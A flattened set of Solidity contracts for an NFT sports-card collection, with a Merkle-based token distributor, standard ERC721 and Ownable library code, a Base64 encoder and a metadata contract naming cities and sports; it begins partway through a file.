* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
contract MerkleDistributor is IMerkleDistributor {
address public immutable override token;
uint256 public id;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
constructor(address token_, uint256 _id, bytes32 merkleRoot_) public {
token = token_;
id = _id;
merkleRoot = merkleRoot_;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) override external {
require(!isClaimed(index), 'MerkleDistributor: Drop already claimed.');
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), 'MerkleDistributor: Invalid proof.');
// Mark it claimed and send the token.
_setClaimed(index);
IERC1155(token).safeTransferFrom(address(this), account, id, amount, new bytes(0x0));
emit Claimed(index, account, amount);
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external pure returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
pragma abicoder v2; // required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "base64-sol/base64.sol";
import "./SportsMetadata.sol";
contract SportsCards is ERC721, ERC721URIStorage, Ownable {
uint32[] private sportsLaunchTimes = [
1633105800,
1633710600,
1634315400,
1634920200,
1635525000
];
string ipns;
string ipnsGateway;
address metadataAddress;
uint256[] _mintedTokens;
mapping(address => uint) credits;
constructor()
ERC721("Sports Cards", "CARD")
{}
function tokenIdsForOwner(address ownerAddress)
public
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(ownerAddress);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalCards = _mintedTokens.length;
uint256 resultIndex = 0;
uint256 cardIndex;
for (cardIndex = 0; cardIndex < totalCards; cardIndex++) {
if (ownerOf(_mintedTokens[cardIndex]) == ownerAddress) {
result[resultIndex] = _mintedTokens[cardIndex];
resultIndex++;
}
}
return result;
}
}
function setMetadataAddress(address metadata) public onlyOwner {
metadataAddress = metadata;
}
function setIPNS(string calldata ipnsCID) public onlyOwner {
ipns = ipnsCID;
}
function setIPNSGateway(string calldata gatewayURL) public onlyOwner {
ipnsGateway = gatewayURL;
}
function isGoldCard(uint256 tokenId) public pure returns (bool) {
return(uint16(tokenId) == 0);
}
function isPremierCard(uint256 tokenId) public pure returns (bool) {
return(uint16(tokenId) == 1);
}
function isCommonCard(uint256 tokenId) public pure returns (bool) {
return(uint16(tokenId) > 1);
}
function sequenceNumber(uint256 tokenId) public pure returns (uint256) {
return(uint256(uint16(tokenId)));
}
function cardNumber(uint256 tokenId) public pure returns (uint8) {
return uint8(tokenId >> 16);
}
function sportId(uint256 tokenId) public pure returns(uint8) {
return uint8(tokenId >> 24);
}
function cityId(uint256 tokenId) public pure returns(uint16) {
return uint16(tokenId >> 32);
}
function premierCardTokenIdForCommonCard(uint256 commonCardTokenId)
public
pure
returns(uint256)
{
uint256 tokenId = commonCardTokenId >> 16;
return(tokenId << 16 | 1);
}
function premierCardOwner(uint256 commonCardTokenId)
public
view
returns(address)
{
return ownerOf(premierCardTokenIdForCommonCard(commonCardTokenId));
}
function cardIsRedeemable(uint256 tokenId) public view returns(bool) {
if(sequenceNumber(tokenId) == 0 && msg.sender != address(owner())) {
return false;
}
if(cardNumber(tokenId) > 100 && msg.sender != address(owner())) {
return false;
}
return true;
}
function sportIsRedeemable(uint8 redeemableSportId, uint256 timestamp) public view returns(bool) {
if(msg.sender == address(owner())) {
return(true);
}
if(redeemableSportId <= 4) {
return(timestamp >= sportsLaunchTimes[redeemableSportId]);
} else {
return(true);
}
}
function mint(uint256 tokenId)
public
payable
returns (uint256)
{
// Token has already been minted
require(!_exists(tokenId), "Token has already been minted.");
// Card must be redeemable by caller
require(cardIsRedeemable(tokenId), "You cannot mint that card");
// Sport must be on sale
require(sportIsRedeemable(sportId(tokenId), block.timestamp), "Sport not redeemable yet");
// Must have enough ETH attached to redeem card
require(msg.value >= costToMint(tokenId, block.timestamp), "Not enough ETH sent.");
// if it's a common card and the premier card has been redeemed
if(isCommonCard(tokenId) && _exists(premierCardTokenIdForCommonCard(tokenId))) {
uint256 commission = (msg.value * 2) / 10;
allowForPull(ownerOf(premierCardTokenIdForCommonCard(tokenId)), commission);
allowForPull(address(owner()), msg.value - commission);
} else {
allowForPull(address(owner()), msg.value);
}
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, tokenURI(tokenId));
_mintedTokens.push(tokenId);
return tokenId;
}
function allowForPull(address receiver, uint amount) private {
credits[receiver] += amount;
}
function withdrawCredits() public {
uint amount = credits[msg.sender];
require(amount != 0);
require(address(this).balance >= amount);
credits[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
// Make it possible for admin to recover funds for holders who lose access
function withdrawCreditsFor(address withdrawFor, address receiver) onlyOwner public {
uint amount = credits[withdrawFor];
require(amount != 0);
require(address(this).balance >= amount);
credits[withdrawFor] = 0;
payable(receiver).transfer(amount);
}
function costToMint(uint256 tokenId, uint256 timestamp) public view returns(uint256) {
uint32 sportLaunchTime;
if(msg.sender == address(owner())) {
return(0);
}
if(isPremierCard(tokenId)) {
if(sportId(tokenId) <= 4) {
sportLaunchTime = sportsLaunchTimes[sportId(tokenId)];
} else {
sportLaunchTime = 1634920200;
}
// Price decreases every half hour for three hours
if(timestamp > sportLaunchTime) {
// It's been more than three hours so just return 1 ether
if(timestamp - sportLaunchTime > (60 * 60 * 3)) {
return(1 ether);
}
uint256 timeElapsed = timestamp - sportLaunchTime;
if(timeElapsed <= 60 * 30) { // less than thirty minutes
return(3 ether);
} else if(timeElapsed <= 60 * 60) { // 30 minutes to 1 hour
return(2.5 ether);
} else if(timeElapsed <= 60 * 90) { // 1 hour to 1.5 hours
return(2 ether);
} else if(timeElapsed <= 60 * 120) { // 1.5 hours to 2 hours
return(1.5 ether);
} else {
return(1 ether);
}
} else {
return(3 ether);
}
} else {
if(sequenceNumber(tokenId) < 100) {
return((1 ether / 1000) * sequenceNumber(tokenId));
} else {
return(1 ether / 10);
}
}
}
function _leftPadNumber(string memory number) private pure returns (string memory) {
uint8 i;
for(i = 0; bytes(number).length <= 5; i++) {
number = string(abi.encodePacked('0', number));
}
return number;
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId) override(ERC721, ERC721URIStorage) public view returns (string memory) {
string[8] memory parts;
parts[0] = string(abi.encodePacked('{"name": "', SportsMetadata(metadataAddress).cityName(tokenId), ' ', SportsMetadata(metadataAddress).sportName(tokenId),' #', Strings.toString(cardNumber(tokenId)), '",'));
parts[1] = string(abi.encodePacked('"description": "', SportsMetadata(metadataAddress).cityName(tokenId), ' ', SportsMetadata(metadataAddress).sportName(tokenId),' #', Strings.toString(cardNumber(tokenId)), '\\nSN-', _leftPadNumber(Strings.toString(sequenceNumber(tokenId))), '", '));
parts[2] = string(abi.encodePacked('"external_url": "https://sportsdao.gg/collectibles/', Strings.toString(tokenId), '", '));
parts[3] = string(abi.encodePacked('"image": "', ipnsGateway, ipns, '/', Strings.toString(tokenId),'.png", "attributes": ['));
parts[4] = string(abi.encodePacked('{"trait_type": "City", "value": "', SportsMetadata(metadataAddress).cityName(tokenId), '"},'));
parts[5] = string(abi.encodePacked('{"trait_type": "Sport", "value": "', SportsMetadata(metadataAddress).sportName(tokenId),'"},'));
parts[6] = string(abi.encodePacked('{"trait_type": "Number", "display_type": "number", "value": ', Strings.toString(cardNumber(tokenId)),'},'));
parts[7] = string(abi.encodePacked('{"trait_type": "Serial Number", "display_type": "number", "value": ', Strings.toString(sequenceNumber(tokenId)),'}]}'));
string memory json = Base64.encode(bytes(string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7]))));
return string(abi.encodePacked('data:application/json;base64,', json));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides a function for encoding some bytes in base64
library Base64 {
string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {} lt(dataPtr, endPtr) {}
{
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F)))))
resultPtr := add(resultPtr, 1)
mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F)))))
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) }
case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) }
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract SportsMetadata {
string[] private cities = [
'Arizona',
'Atlanta',
'Baltimore',
'Buffalo',
'Carolina',
'Cincinnati',
'Chicago',
'Cleveland',
'Dallas',
'Denver',
'Detroit',
'Houston',
'Green Bay',
'Indianapolis',
'Los Angeles',
'Jacksonville',
'Minnesota',
'Kansas City',
'New Orleans',
'Las Vegas',
'New York',
'Los Angeles',
'Philadelphia',
'Miami',
'San Francisco',
'New England',
'Seattle',
'Tampa Bay',
'Pittsburgh',
'Washington',
'Tennessee',
'Hamilton',
'Montreal',
'Ottawa',
'Toronto',
'Vancouver',
'Calgary',
'Edmonton',
'Regina',
'Winnipeg'
];
string[] private sports = [
"Football",
"Basketball",
"Soccer",
"Baseball",
"Hockey",
"Cricket",
"Rugby Union",
"Field Hockey",
"Volleyball",
"Rugby League"
];
function sportName(uint256 tokenId) public view returns(string memory) {
return sports[sportId(tokenId)];
}
function cityName(uint256 tokenId) public view returns(string memory) {
return cities[cityId(tokenId)];
}
function sportId(uint256 tokenId) public pure returns(uint8) {
return uint8(tokenId >> 24);
}
function cityId(uint256 tokenId) public pure returns(uint16) {
return uint16(tokenId >> 32);
}
function getCities() public view returns(string[] memory) {
return cities;
}
function getSports() public view returns(string[] memory) {
return sports;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
